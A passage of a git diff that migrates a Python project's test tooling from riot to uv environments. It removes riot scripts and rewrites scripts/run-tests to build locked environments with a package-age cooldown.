IntegrationUpdateOrchestrator: TOOLING_VENV_DIR = ".venv-registry-tools" - TOOLING_DEPS = ["pyyaml", "riot", "filelock"] + TOOLING_DEPS = ["pyyaml", "filelock"] REGISTRY_UPDATER_MODULE = "registry_update_helpers.integration_registry_updater" REGISTRY_UPDATER_CLASS = "IntegrationRegistryUpdater" MAIN_UPDATE_SCRIPT = "scripts/integration_registry/update_and_format_registry.py" diff --git a/scripts/regenerate-riot-latest.sh b/scripts/regenerate-riot-latest.sh deleted file mode 100755 index 0ce42206735..00000000000 --- a/scripts/regenerate-riot-latest.sh +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail - -DDTEST_CMD=scripts/ddtest - -if [[ $# -gt 1 ]]; then - echo "Usage: $0 [package]" - exit 1 -fi - -if [[ $# -eq 1 ]]; then - pkgs="$1" -else - pkgs=$(python scripts/freshvenvs.py output) -fi - -echo "Outdated packages: $pkgs" - -if [[ -z "$pkgs" ]]; then - echo "No outdated packages found." - exit 0 -fi - -for pkg in $pkgs; do - echo "Checking if new latest version exists for $pkg" - export VENV_NAME="$pkg" - - if ! RIOT_HASHES_OUTPUT=$(riot list --hash-only "^${VENV_NAME}$" 2>&1); then - echo "Error running riot list for $pkg: $RIOT_HASHES_OUTPUT" - continue - fi - mapfile -t RIOT_HASHES <<< "$RIOT_HASHES_OUTPUT" - RIOT_HASHES=("${RIOT_HASHES[@]//[[:space:]]/}") - RIOT_HASHES=(${RIOT_HASHES[@]}) - - echo "Found ${#RIOT_HASHES[@]} riot hashes: ${RIOT_HASHES[*]}" - - if [[ ${#RIOT_HASHES[@]} -eq 0 ]]; then - echo "No riot hashes found for pattern: $VENV_NAME" - continue - fi - - if [[ -n "${GITHUB_ENV:-}" ]]; then - echo "VENV_NAME=$VENV_NAME" >> "$GITHUB_ENV" - fi - - for h in "${RIOT_HASHES[@]}"; do - echo "Removing riot lockfile: .riot/requirements/${h}.txt" - rm -f ".riot/requirements/${h}.txt" - done - - scripts/compile-and-prune-test-requirements - - # Supply-chain hardening (TEST-CD, APMLP-1362): verify that none of the - # newly resolved pins (including transitive dependencies that pip-tools - # picks up) are younger than the cooldown. This is defense-in-depth on - # top of the cooldown applied in freshvenvs.py, since pip-tools has no - # --exclude-newer flag of its own. - REGENERATED_LOCKFILES=() - for h in "${RIOT_HASHES[@]}"; do - if [[ -f ".riot/requirements/${h}.txt" ]]; then - REGENERATED_LOCKFILES+=(".riot/requirements/${h}.txt") - fi - done - - if [[ ${#REGENERATED_LOCKFILES[@]} -gt 0 ]]; then - echo "Validating cooldown on ${#REGENERATED_LOCKFILES[@]} regenerated lockfile(s)" - python scripts/check_lockfile_cooldown.py "${REGENERATED_LOCKFILES[@]}" - fi - - # Only process one package per run - break -done diff --git a/scripts/regenerate-test-locks-latest.sh b/scripts/regenerate-test-locks-latest.sh new file mode 100755 index 00000000000..36df8309c2d --- /dev/null +++ b/scripts/regenerate-test-locks-latest.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash +set -euo pipefail + +if [[ $# -gt 1 ]]; then + echo "Usage: $0 [suite]" + exit 1 +fi + +if [[ $# -eq 1 ]]; then + suites="$1" +else + suites=$(scripts/freshvenvs.py output) +fi + +echo "Outdated suites: $suites" +if [[ -z "$suites" ]]; then + echo "No outdated suites found." + exit 0 +fi + +for suite in $suites; do + export VENV_NAME="$suite" + if [[ -n "${GITHUB_ENV:-}" ]]; then + echo "VENV_NAME=$VENV_NAME" >> "$GITHUB_ENV" + fi + if ! scripts/test-env list "$suite" >/dev/null 2>&1; then + echo "No test environments found for $suite" + continue + fi + + scripts/test-env lock "$suite" + mapfile -t regenerated_locks < <(git diff --name-only -- .uv) + if [[ ${#regenerated_locks[@]} -gt 0 ]]; then + python scripts/check_lockfile_cooldown.py "${regenerated_locks[@]}" + fi + break +done diff --git a/scripts/run-script-doctests.py b/scripts/run-script-doctests.py index 508b7442409..4df08e990c1 100755 --- a/scripts/run-script-doctests.py +++ b/scripts/run-script-doctests.py @@ -27,6 +27,7 @@ for path in _FILES: spec = importlib.util.spec_from_file_location("_doctest_module", path) module = importlib.util.module_from_spec(spec) + sys.modules[spec.name] = module spec.loader.exec_module(module) result = doctest.testmod(module, verbose=False) failures += result.failed diff --git a/scripts/run-tests b/scripts/run-tests index 8ff7cce9570..45b3d043aad 100755 --- a/scripts/run-tests +++ b/scripts/run-tests @@ -3,7 +3,6 @@ # /// script # requires-python = ">=3.8" # dependencies = [ -# "riot>=0.22.0", # "ruamel.yaml>=0.17.21", # ] # /// @@ -11,28 +10,30 @@ This script helps developers run the appropriate test suites based on changed files. It maps source files to their corresponding test suites and provides granular control -over which specific riot venvs to run. +over which specific test environments to run. Note: This runs entire test suites, not individual test files. """ +from __future__ import annotations + import argparse +from dataclasses import replace +import datetime as dt import fcntl import fnmatch import hashlib import json import os from pathlib import Path -import re +import shlex import subprocess import sys -from typing import NamedTuple -# Add project root and tests to Python path to import suitespec and riotfile +# Add the project root to import the test configuration. ROOT = Path(__file__).resolve().parents[1] sys.path.insert(0, str(ROOT)) -sys.path.insert(0, str(ROOT / "tests")) def _ensure_compose_project_name(): @@ -48,7 +49,10 @@ def _ensure_compose_project_name(): _ensure_compose_project_name() -import riotfile # noqa: E402 +from tests.suitespec import TestEnvironment # noqa: E402 +from tests.suitespec import TestRun # noqa: E402 +from tests.suitespec import expand_suite_matrix # noqa: E402 +from tests.suitespec import get_matrix_defaults # noqa: E402 from tests.suitespec import get_patterns # noqa: E402 from tests.suitespec import get_suites # noqa: E402 @@ -59,87 +63,18 @@ PODMAN_COMPAT_ENV_VAR = "DD_TEST_PODMAN_COMPAT" BASE_COMPOSE_FILE = ROOT / "docker-compose.base.yml" DOCKER_COMPOSE_FILE = ROOT / "docker-compose.yml" PODMAN_COMPOSE_FILE = ROOT / "docker-compose.podman.yml" +CONTAINER_PROJECT_ROOT = Path("/home/bits/project") +TEST_CONTAINER_PATH = ( + "/home/bits/.cargo/bin:/home/bits/.local/bin:/home/bits/.pyenv/shims:/home/bits/.pyenv/bin:" + "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" +) +SHELL_OPERATORS = frozenset({"&&", "||", ";", "|"}) +COOLDOWN_DAYS = 2 -class RiotVenv(NamedTuple): - """Represents a riot venv with its metadata.""" - - number: int - hash: str - name: str - python_version: str - packages: str - suite_name: str = "" # Track which suite this venv belongs to - command: str = "" # The actual test command (e.g., pytest tests/contrib/flask/) - - def _normalize_package_name(self, name: str) -> list[str]: - """Generate possible package name variations from venv name component. - - Examples: - 'django' -> ['django'] - 'django_hosts' -> ['django-hosts', 'django_hosts'] - 'psycopg2' -> ['psycopg2', 'psycopg2-binary'] - """ - variants = [name] - - # Try underscore to dash conversion (common in PyPI) - if "_" in name: - variants.append(name.replace("_", "-")) - - # Common package variations - variations = { - "psycopg2": ["psycopg2-binary"], - "mysql": ["mysqlclient", "mysql-connector-python"], - "redis": ["redis-py"], - } - - if name in variations: - variants.extend(variations[name]) - - return variants - - def _extract_package_versions_for_venv_name(self, venv_name: str, packages: str) -> list[str]: - """Extract package versions that match the venv name components. - - Args: - venv_name: e.g. 'django', 'django:celery', 'flask:redis' - packages: Package info string with 'pkg: version' entries - """ - if not packages or packages == "standard packages": - return [] - - # Split venv name by ':' to get components (django:celery -> django, celery) - name_components = [comp.strip() for comp in venv_name.split(":")] - - found_versions = [] - packages_lower = packages.lower() - - for component in name_components: - # Get all possible package name variants - variants = self._normalize_package_name(component) - - for variant in variants: - # Look for 'variant: version' pattern in packages string - pattern = rf"\b{re.escape(variant)}:\s*([^,]+)" - match = re.search(pattern, packages_lower, re.IGNORECASE) - if match: - version = match.group(1).strip() - found_versions.append(f"{variant} {version}") - break # Found a match for this component, move to next - - return found_versions - - @property - def display_name(self) -> str: - """Generate a user-friendly display name showing Python version and relevant packages.""" - # Extract package versions based on venv name - package_versions = self._extract_package_versions_for_venv_name(self.name, self.packages) - - if package_versions: - packages_str = ", ".join(package_versions) - return f"Python {self.python_version}, {packages_str}" - - return f"Python {self.python_version}" +def _cooldown_cutoff() -> str: + cutoff = dt.datetime.now(dt.timezone.utc) - dt.timedelta(days=COOLDOWN_DAYS) + return cutoff.replace(microsecond=0).isoformat().replace("+00:00", "Z") class TestRunner: @@ -149,6 +84,8 @@ class TestRunner: self.matching_suites: dict[str, dict] = {} self.required_services: set[str] = set() self.podman_compat = os.environ.get(PODMAN_COMPAT_ENV_VAR, "0") == "1" + self.in_ci = os.environ.get("GITLAB_CI", "").lower() == "true" + self._environment_cache: dict[str, tuple[TestEnvironment, ...]] = {} def _compose_command(self, *args: str) -> list[str]: """Return the Compose command for the selected container backend.""" @@ -241,63 +178,24 @@ class TestRunner: return services - def get_riot_venvs(self, pattern: str, suite_name: str = "") -> list[RiotVenv]: - """Get available riot venvs for a pattern, deduplicated by hash. - - Returns one venv per unique hash. When riot expands environment variable arrays, - multiple instances may share the same hash - we only return the first instance - for each unique hash to avoid confusing duplicate entries in interactive selection. - """ + def get_test_environments( + self, pattern: str, suite_name: str = "", suite_config: dict | None = None + ) -> list[TestEnvironment]: + """Get concrete test environments for a suite pattern.""" try: - venvs = [] - seen_hashes = set() - pattern_regex = re.compile(pattern) - - # Use riot's own instances() method to get all venv instances - for n, inst in enumerate(riotfile.venv.instances()): - # Check if this instance matches our pattern (same logic as riot) - if not inst.name or not inst.matches_pattern(pattern_regex): - continue - - venv_hash = inst.short_hash if hasattr(inst, "short_hash") else f"hash{n}" - - # Skip if we've already seen this hash (deduplication) - if venv_hash in seen_hashes: - continue - seen_hashes.add(venv_hash) - - # Extract package information from the instance - packages_info = "" - if hasattr(inst, "pkgs") and inst.pkgs: - # Include all packages - we'll filter in display_name based on venv name - all_packages = [f"{pkg}: {version}" for pkg, version in inst.pkgs.items()] - packages_info = ", ".join(all_packages) if all_packages else "standard packages" - - # Extract command from the instance - command = "" - if hasattr(inst, "cmd"): - command = str(inst.cmd) - elif hasattr(inst, "command"): - command = str(inst.command) - - venvs.append( - RiotVenv( - number=n, - hash=venv_hash, - name=inst.name, - python_version=str(inst.py._hint) - if hasattr(inst, "py") and hasattr(inst.py, "_hint") - else "3.10", - packages=packages_info, - suite_name=suite_name, - command=command, - ) + if suite_name not in self._environment_cache: + config = dict(suite_config or {}) + config["pattern"] = pattern + self._environment_cache[suite_name] = expand_suite_matrix( + suite_name, + config, + get_matrix_defaults(), + nightly=os.environ.get("NIGHTLY_BUILD", "").lower() == "true", ) - - return venvs + return list(self._environment_cache[suite_name]) except Exception as e: - print(f"Warning: Failed to get riot venvs for pattern '{pattern}': {e}") + print(f"Warning: Failed to get test environments for pattern '{pattern}': {e}") return [] def start_services(self, services: set[str]) -> bool: @@ -439,13 +337,13 @@ class TestRunner: except (ValueError, IndexError): print("❌ Invalid selection. Please use format like '1,3', 'all', or 'none'") - def select_riot_suites(self, matching_suites: dict[str, dict]) -> dict[str, dict]: - """Let user select which riot suites to run.""" + def select_suites(self, matching_suites: dict[str, dict]) -> dict[str, dict]: + """Let the user select which test suites to run.""" if not matching_suites: - print("❌ No riot suites found in matching suites") + print("❌ No test suites found in matching suites") return {} - print(f"\n📋 Found {len(matching_suites)} matching riot suite(s):") + print(f"\n📋 Found {len(matching_suites)} matching test suite(s):") suite_list = list(matching_suites.keys()) selected = self._interactive_select(suite_list, "suites") @@ -454,118 +352,320 @@ class TestRunner: return {name: matching_suites[name] for name in selected} return {} - def select_venvs_for_suites(self, selected_suites: dict[str, dict]) -> list[RiotVenv]: - """Let user select specific venvs for each suite.""" - selected_venvs = [] + def select_environments_for_suites(self, selected_suites: dict[str, dict]) -> list[TestEnvironment]: + """Let the user select concrete environments for each suite.""" + selected_environments = [] for suite_name, suite_config in selected_suites.items(): pattern = suite_config.get("pattern", suite_name) - print(f"\n🔍 Getting available venvs for suite '{suite_name}' (pattern: '{pattern}')...") - venvs = self.get_riot_venvs(pattern, suite_name=suite_name) + print(f"\n🔍 Getting available environments for suite '{suite_name}' (pattern: '{pattern}')...") + environments = self.get_test_environments(pattern, suite_name=suite_name, suite_config=suite_config) - if not venvs: - print(f" ⚠️ No venvs found for suite '{suite_name}'") + if not environments: + print(f" ⚠️ No environments found for suite '{suite_name}'") continue - print(f"\n📋 Available venvs for suite '{suite_name}' ({len(venvs)} unique hash(es)):") + print(f"\n📋 Available environments for suite '{suite_name}' ({len(environments)} total):") print("=" * 80) - # Custom format function for venvs - def format_venv(v): - return f"#{v.number:3d} {v.hash} {v.name} {v.display_name}" + def format_environment(environment): + return f"#{environment.ordinal:3d} {environment.id} {environment.name} {environment.display_name}" - selected = self._interactive_select(venvs, "venvs", format_venv) + selected = self._interactive_select(environments, "environments", format_environment) if selected: - selected_venvs.extend(selected) - print(f" Selected {len(selected)} hash(es) for suite '{suite_name}':") - for venv in selected: - print(f" • {venv.hash}: {venv.name} - {venv.display_name}") + selected_environments.extend(selected) + print(f" Selected {len(selected)} environment(s) for suite '{suite_name}':") + for environment in selected: + print(f" • {environment.id}: {environment.name} - {environment.display_name}") - return selected_venvs + return selected_environments - def interactive_venv_selection(self, matching_suites: dict[str, dict]) -> list[RiotVenv]: - """Provide interactive venv selection with granular control.""" + def interactive_environment_selection(self, matching_suites: dict[str, dict]) -> list[TestEnvironment]: + """Provide interactive test environment selection.""" if not matching_suites: print("❌ No matching test suites found for the changed files.") return [] - # Step 1: Select riot suites - selected_suites = self.select_riot_suites(matching_suites) + selected_suites = self.select_suites(matching_suites) if not selected_suites: return [] - # Step 2: Select specific venvs for each suite - return self.select_venvs_for_suites(selected_suites) + return self.select_environments_for_suites(selected_suites) + + def _uv_environment_path(self, environment: TestEnvironment) -> Path: + suite_path = (part.replace(":", "-") for part in environment.suite.split("::")) + return Path(".cache/uv-test-environments").joinpath(*suite_path, environment.id) + + def _uv_execution_path(self, environment: TestEnvironment) -> Path: + path = self._uv_environment_path(environment) + return self.root / path if self.in_ci else path + + def _uv_install_lockfile(self, environment: TestEnvironment, lockfile: Path) -> tuple[Path, bool]: + contents = lockfile.read_text() + filtered = "".join( + line for line in contents.splitlines(keepends=True) if not line.lower().startswith("ddtrace==") + ) + if filtered == contents or not environment.install_project: + return lockfile.relative_to(self.root), False + + install_lockfile = Path(".cache/uv-test-environments/.requirements") / lockfile.name + path = self.root / install_lockfile + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(filtered) + return install_lockfile, True + + def _ddtest_command(self, command: list[str], environment: dict[str, str]) -> list[str]: + assignments = [f"{key}={value}" for key, value in sorted(environment.items())] + if self.in_ci: + return ["env", *assignments, *command] + return [str(self.root / "scripts" / "ddtest"), "env", *assignments, *command] + + def _uv_command_environment(self, environment: TestEnvironment, forwarded_env: dict[str, str]) -> dict[str, str]: + command_env = dict(forwarded_env) + execution_root = self.root if self.in_ci else CONTAINER_PROJECT_ROOT + venv = execution_root / self._uv_environment_path(environment) + default_path = os.environ.get("PATH", TEST_CONTAINER_PATH) if self.in_ci else TEST_CONTAINER_PATH + command_env["PATH"] = f"{venv}/bin:{command_env.get('PATH', default_path)}" + command_env["VIRTUAL_ENV"] = str(venv) + return command_env + + def _uv_build_commands( + self, + environment: TestEnvironment, + forwarded_env: dict[str, str], + skip_ddtrace_install: bool, + ) -> tuple[list[str], ...]: + if environment.lockfile is None: + raise ValueError(f"uv environment has no lockfile: {environment.suite}/{environment.id}") + lockfile = self.root / environment.lockfile + if not lockfile.is_file(): + raise ValueError(f"uv lockfile does not exist: {environment.lockfile}") + install_lockfile, excludes_ddtrace = self._uv_install_lockfile(environment, lockfile) + + venv = self._uv_execution_path(environment) + python = venv / "bin/python" + command_env = self._uv_command_environment(environment, forwarded_env) + install_project = environment.install_project and not skip_ddtrace_install + reuse_base = environment.install_project and skip_ddtrace_install + base_environment_config = replace( + environment, suite="smoke_test", id=f"smoke-test-py{environment.python.replace('.', '')}" + ) + base_environment = self._uv_execution_path(base_environment_config) + base_environment_on_host = self.root / self._uv_environment_path(base_environment_config) + if reuse_base and environment.suite == "smoke_test": + raise ValueError("the smoke_test suite builds the base environment and cannot reuse itself") + if reuse_base and not base_environment_on_host.is_dir(): + raise ValueError( + f"base environment does not exist: {base_environment}; " + f"build it with scripts/run-tests --suite smoke_test " + f"--venv smoke-test-py{environment.python.replace('.', '')}" + ) + commands = [ + self._ddtest_command( + [ + "uv", + "venv", + "--allow-existing" if install_project else "--clear", + "--relocatable", + "--python", + environment.python, + "--no-python-downloads", + str(venv), + ], + command_env, + ), + ] + if install_project: + commands.append( + self._ddtest_command( + [ + "uv", + "pip", + "install", + "--python", + str(python), + "--editable", + ".", + "--config-setting", + "editable_mode=compat", + "--exclude-newer", + _cooldown_cutoff(), + "--strict", + "--no-progress", + ], + command_env, + ) + ) + elif reuse_base: + commands.append( + self._ddtest_command( + ["cp", "-R", f"{base_environment}/.", str(venv)], + command_env, + ) + ) + lock_command = [ + "uv", + "pip", + "install", + "--python", + str(python), + "--requirements", + str(install_lockfile), + "--no-progress", + ] + if excludes_ddtrace: + lock_command.append("--no-deps") + if reuse_base: + lock_command.append("--reinstall") + commands.append( + self._ddtest_command( + lock_command, + command_env, + ) + ) + return tuple(commands) + + def _uv_test_command( + self, + environment: TestEnvironment, + run: TestRun, + pytest_args: list[str], + forwarded_env: dict[str, str], + ) -> list[str]: + command = shlex.split(run.command) + expanded = [] + for argument in command: + if argument == "{cmdargs}": + expanded.extend(pytest_args) + else: + expanded.append(argument) + + if not expanded: + raise ValueError(f"empty uv test command for {environment.id}") + + environment_bin = self._uv_execution_path(environment) / "bin" + if any(argument in SHELL_OPERATORS for argument in expanded): + shell_command = " ".join( + argument if argument in SHELL_OPERATORS else shlex.quote(argument) for argument in expanded + ) + expanded = ["bash", "-c", shell_command] + elif expanded[0] == "pytest": + expanded[0] = str(environment_bin / "pytest") + elif expanded[0] in ("python", "python3"): + expanded[0] = str(environment_bin / "python") + + run_env = dict(forwarded_env) + run_env.update(run.environment) + return self._ddtest_command(expanded, self._uv_command_environment(environment, run_env)) + + def _run_uv_suite( + self, + environments: list[TestEnvironment], + forwarded_env: dict[str, str], + test_args: list[str], + skip_ddtrace_install: bool, + dry_run: bool, + ) -> bool: + pytest_args = test_args[1:] if test_args[:1] == ["--"] else test_args + lock_path = self.root / ".cache" / "uv-test-environments" / ".build.lock" + lock_path.parent.mkdir(parents=True, exist_ok=True) + + for environment in environments: + try: + build_env = dict(forwarded_env) + if environment.runs: + build_env.update(environment.runs[0].environment) + build_commands = self._uv_build_commands(environment, build_env, skip_ddtrace_install) + except ValueError as error: + print(f"❌ {error}") + return False + + print(f"\n🔨 Building uv environment ({environment.display_name}): {environment.id}") + if dry_run: + for command in build_commands: + print(f"[DRY RUN] Would execute: {' '.join(command)}") + continue + + with lock_path.open("w") as lock_file: + fcntl.flock(lock_file, fcntl.LOCK_EX) + print(" 🔒 Acquired build lock") + try: + for command in build_commands: + result = subprocess.run(command, env=os.environ.copy(), cwd=self.root) + if result.returncode != 0: + print(f"❌ Build failed for {environment.display_name} (exit code {result.returncode})") + return False + print(" ✅ uv environment built successfully") + finally: + fcntl.flock(lock_file, fcntl.LOCK_UN) + print(" 🔓 Released build lock") + + for environment in environments: + for run in environment.runs: + try: + command = self._uv_test_command(environment, run, pytest_args, forwarded_env) + except ValueError as error: + print(f"❌ {error}") + return False + if dry_run: + print(f"[DRY RUN] Would execute: {' '.join(command)}") + continue + + print(f"\n▶️ Executing with uv ({environment.display_name}): {' '.join(command)}") + result = subprocess.run(command, env=os.environ.copy(), cwd=self.root) + if result.returncode != 0: + print(f"❌ {environment.display_name} failed with exit code {result.returncode}") + return False + print(f"✅ {environment.display_name} completed successfully") + return True def run_tests( self, - selected_venvs: list[RiotVenv], - matching_suites: dict[str, dict], - riot_args: list[str] = None, + selected_environments: list[TestEnvironment], + test_args: list[str] | None = None, + skip_ddtrace_install: bool = False, dry_run: bool = False, ) -> bool: - """Execute the selected venvs, grouped by suite with per-suite service management.""" - if not selected_venvs: - print("ℹ️ No venvs selected for execution.") + """Execute the selected environments with per-suite service management.""" + if not selected_environments: + print("ℹ️ No environments selected for execution.") return True - # Group venvs by suite, then deduplicate by hash within each suite - # This prevents running the same hash multiple times when riot expands env var arrays - venvs_by_suite: dict[str, list[RiotVenv]] = {} - all_venvs_by_suite: dict[str, list[RiotVenv]] = {} # Track all variants for display - - for venv in selected_venvs: - suite_name = venv.suite_name - - # Track all venvs for display - if suite_name not in all_venvs_by_suite: - all_venvs_by_suite[suite_name] = [] - all_venvs_by_suite[suite_name].append(venv) - - # Deduplicate by hash for execution - if suite_name not in venvs_by_suite: - venvs_by_suite[suite_name] = [] - - # Only add if we haven't seen this hash in this suite yet - if not any(v.hash == venv.hash for v in venvs_by_suite[suite_name]): - venvs_by_suite[suite_name].append(venv) - - # Count total unique hashes to execute - total_unique_hashes = sum(len(venvs) for venvs in venvs_by_suite.values()) - - print(f"\n🧪 Running {total_unique_hashes} unique venv hash(es) across {len(venvs_by_suite)} suite(s):") - for suite_name, venvs in venvs_by_suite.items(): - all_variants = all_venvs_by_suite[suite_name] - if len(all_variants) > len(venvs): - msg = ( - f" • Suite '{suite_name}': {len(venvs)} hash(es) " - f"({len(all_variants)} total instances including env var expansions)" - ) - print(msg) + environments_by_suite: dict[str, list[TestEnvironment]] = {} + for environment in selected_environments: + suite_environments = environments_by_suite.setdefault(environment.suite, []) + if not any(item.id == environment.id for item in suite_environments): + suite_environments.append(environment) + + total_environments = sum(len(environments) for environments in environments_by_suite.values()) + print(f"\n🧪 Running {total_environments} environment(s) across {len(environments_by_suite)} suite(s):") + for suite_name, environments in environments_by_suite.items(): + run_count = sum(len(environment.runs) for environment in environments) + if run_count > len(environments): + print(f" • Suite '{suite_name}': {len(environments)} environment(s), {run_count} command variants") else: - print(f" • Suite '{suite_name}': {len(venvs)} venv(s)") + print(f" • Suite '{suite_name}': {len(environments)} environment(s)") # Execute each suite with its own service lifecycle - for suite_name, venvs in venvs_by_suite.items(): + for suite_name, environments in environments_by_suite.items(): print(f"\n{'=' * 80}") print(f"🎯 Suite: {suite_name}") print(f"{'=' * 80}") - # Get suite config - suite_config = matching_suites.get(suite_name, {}) - - # Extract services for this suite only - suite_services = set(suite_config.get("services", [])) - needs_testagent = suite_config.get("snapshot", False) + suite_environment = environments[0] + suite_services = set(suite_environment.services) + needs_testagent = suite_environment.snapshot if needs_testagent: suite_services.add("testagent") # Start services for this suite - if suite_services: + if suite_services and not self.in_ci: if not self.start_services(suite_services): print(f"❌ Failed to start services for suite '{suite_name}'") return False + elif suite_services: + print(f"ℹ️ Using CI-provisioned services: {', '.join(sorted(suite_services))}") else: print(f"ℹ️ No services required for suite '{suite_name}'") @@ -573,7 +673,7 @@ class TestRunner: env = os.environ.copy() # Apply suite-specific environment variables - suite_env = suite_config.get("env", {}) + suite_env = suite_environment.environment if suite_env: for key, value in suite_env.items(): value = str(value) @@ -588,124 +688,22 @@ class TestRunner: # Override with testagent URL if needed if needs_testagent: - testagent_url = self.get_testagent_url() + testagent_url = env.get("DD_TRACE_AGENT_URL") if self.in_ci else self.get_testagent_url() + if not testagent_url: + print("❌ DD_TRACE_AGENT_URL is required for snapshot tests in CI") + return False env["DD_TRACE_AGENT_URL"] = testagent_url print(f"🔧 Setting DD_TRACE_AGENT_URL={testagent_url} for snapshot tests") - # Execute each unique venv hash in this suite - # Note: riot will run all instances for each hash (different commands, env vars, etc.) - suite_success = True - - # Phase 1: Build/verify venvs sequentially under a file lock. - # This prevents concurrent builds from fighting over shared resources - # (sccache, cargo installs, pip). The first build compiles Rust/C/Cython; - # subsequent builds are fast cache hits. If venvs are already built, - # riot detects this and the build phase completes near-instantly. - lock_path = self.root / ".riot" / ".build.lock" - lock_path.parent.mkdir(parents=True, exist_ok=True) - - for venv in venvs: - build_cmd = [ - str(self.root / "scripts" / "ddtest"), - "riot", - "-v", - "run", - "--pass-env", - venv.hash, - "--", - "--collect-only", - "-q", - ] - - if dry_run: - print(f"[DRY RUN] Would build venv (under lock): {' '.join(build_cmd)}") - else: - print(f"\n🔨 Building venv ({venv.display_name}): {venv.hash}") - lock_file = open(lock_path, "w") - try: - fcntl.flock(lock_file, fcntl.LOCK_EX) - print(" 🔒 Acquired build lock") - result = subprocess.run(build_cmd, env=env, cwd=self.root) - if result.returncode != 0: - print(f"❌ Build failed for {venv.display_name} (exit code {result.returncode})") - suite_success = False - break - print(" ✅ Venv built successfully") - finally: - fcntl.flock(lock_file, fcntl.LOCK_UN) - lock_file.close() - print(" 🔓 Released build lock") - - if not suite_success: - # Stop services and bail out - if suite_services: - self.stop_services(suite_services) - print(f"\n❌ Suite '{suite_name}' failed during build phase. Stopping execution.") - return False - - # Phase 2: Run tests with --skip-base-install (venvs are already built). - for venv in venvs: - # Count how many instances share this hash in this suite - instances_with_same_hash = [v for v in all_venvs_by_suite[suite_name] if v.hash == venv.hash] - num_instances = len(instances_with_same_hash) - - # Execute using ddtest with the specific venv hash - cmd = [ - str(self.root / "scripts" / "ddtest"), - "riot", - "-v", - "run", - "--pass-env", - "-s", - venv.hash, - ] - - # Add riot args if provided, filtering out riot's -s/--skip-base-install - # (since we already add it) but only before the pytest separator "--". - # After "--", args belong to pytest where -s means something different - # (disable output capture). - if riot_args: - past_pytest_separator = False - for arg in riot_args: - if arg == "--": - past_pytest_separator = True - cmd.append(arg) - elif past_pytest_separator or arg not in ("-s", "--skip-base-install"): - cmd.append(arg) - - if dry_run: - print(f"[DRY RUN] Would execute: {' '.join(cmd)}") - if num_instances > 1: - print( - f"[DRY RUN] Note: This will run {num_instances} instance(s) " - f"for hash {venv.hash} (different commands, env vars, etc.)" - ) - env_vars_to_show = [] - if suite_env: - for key, value in sorted(suite_env.items()): - env_vars_to_show.append(f"{key}={env[key]}") - if needs_testagent: - env_vars_to_show.append(f"DD_TRACE_AGENT_URL={env.get('DD_TRACE_AGENT_URL')}") - if env_vars_to_show: - print(f"[DRY RUN] With env: {', '.join(env_vars_to_show)}") - else: - instance_info = f" [{num_instances} instance(s)]" if num_instances > 1 else "" - print(f"\n▶️ Executing ({venv.display_name}){instance_info}: {' '.join(cmd)}") - try: - result = subprocess.run(cmd, env=env, cwd=self.root) - if result.returncode != 0: - print(f"❌ {venv.display_name} failed with exit code {result.returncode}") - suite_success = False - break # Stop running venvs for this suite on first failure - else: - print(f"✅ {venv.display_name} completed successfully") - except subprocess.CalledProcessError as e: - print(f"❌ Failed to run {venv.display_name}: {e}") - suite_success = False - break + forwarded_env = {key: env[key] for key in suite_env} + if needs_testagent: + forwarded_env["DD_TRACE_AGENT_URL"] = env["DD_TRACE_AGENT_URL"] + suite_success = self._run_uv_suite( + environments, forwarded_env, test_args or [], skip_ddtrace_install, dry_run + ) # Stop services for this suite - if suite_services: + if suite_services and not self.in_ci: self.stop_services(suite_services) # If this suite failed, stop processing further suites @@ -724,17 +722,17 @@ class TestRunner: for suite_name, suite_config in matching_suites.items(): pattern = suite_config.get("pattern", suite_name) - venvs = self.get_riot_venvs(pattern, suite_name=suite_name) + environments = self.get_test_environments(pattern, suite_name=suite_name, suite_config=suite_config) venvs_data = [] - for venv in venvs: + for environment in environments: venvs_data.append( { - "hash": venv.hash, - "number": venv.number, - "python_version": venv.python_version, - "packages": venv.packages, - "command": venv.command, + "id": environment.id, + "number": environment.ordinal, + "python_version": environment.python, + "packages": ", ".join(environment.direct_dependencies), + "command": environment.command, } ) @@ -750,61 +748,79 @@ class TestRunner: output = {"suites": suites_data} print(json.dumps(output, indent=2)) - def select_venvs_by_hash(self, matching_suites: dict[str, dict], venv_hashes: list[str]) -> list[RiotVenv]: - """Select specific venvs by their hashes from matching suites.""" - selected_venvs = [] - venv_hashes_set = set(venv_hashes) + def select_environments_by_id( + self, matching_suites: dict[str, dict], environment_ids: list[str] + ) -> list[TestEnvironment]: + """Select concrete environments by ID from matching suites.""" + selected_environments = [] + environment_ids_set = set(environment_ids) for suite_name, suite_config in matching_suites.items(): pattern = suite_config.get("pattern", suite_name) - venvs = self.get_riot_venvs(pattern, suite_name=suite_name) + environments = self.get_test_environments(pattern, suite_name=suite_name, suite_config=suite_config) - for venv in venvs: - if venv.hash in venv_hashes_set: - selected_venvs.append(venv) + for environment in environments: + if environment.id in environment_ids_set: + selected_environments.append(environment) - return selected_venvs + return selected_environments - def get_venvs_by_hash_direct(self, venv_hashes: list[str]) -> list[RiotVenv]: - """Get specific venvs by their hashes, deduplicated (consistent with CI approach). + def get_environments_by_id_direct( + self, + suites: dict[str, dict], + environment_ids: list[str], + suite_name: str | None = None, + ) -> list[TestEnvironment]: + """Resolve specific environment IDs, deduplicated consistently with CI. - Deduplicates hashes to avoid running the same hash multiple times when riot - expands environment variable arrays into multiple instances with the same hash. + Deduplicates IDs to avoid running the same environment multiple times when a + caller repeats an ID. - This uses the same deduplication strategy as CI (.gitlab/tests.yml), where - 'riot list --hash-only' returns each unique hash only once, even if multiple - instances share that hash due to env var expansion. + Environment IDs are descriptive and come from the declarative matrix. """ - # Deduplicate hashes while preserving order (same as CI behavior) + # Deduplicate IDs while preserving order. seen = set() - unique_hashes = [] - for venv_hash in venv_hashes: - if venv_hash not in seen: - seen.add(venv_hash) - unique_hashes.append(venv_hash) - - if len(unique_hashes) < len(venv_hashes): - print(f"ℹ️ Deduplicated {len(venv_hashes)} hash(es) to {len(unique_hashes)} unique hash(es)") - - print(f"📌 Using {len(unique_hashes)} unique hash(es): {', '.join(unique_hashes)}") - - # Create minimal RiotVenv objects for each unique hash - # Riot will validate the hashes and run all env var variants when executed - selected_venvs = [] - for venv_hash in unique_hashes: - selected_venvs.append( - RiotVenv( - number=0, # Not needed for hash-based execution - hash=venv_hash, - name=venv_hash, # Use hash as name for display - 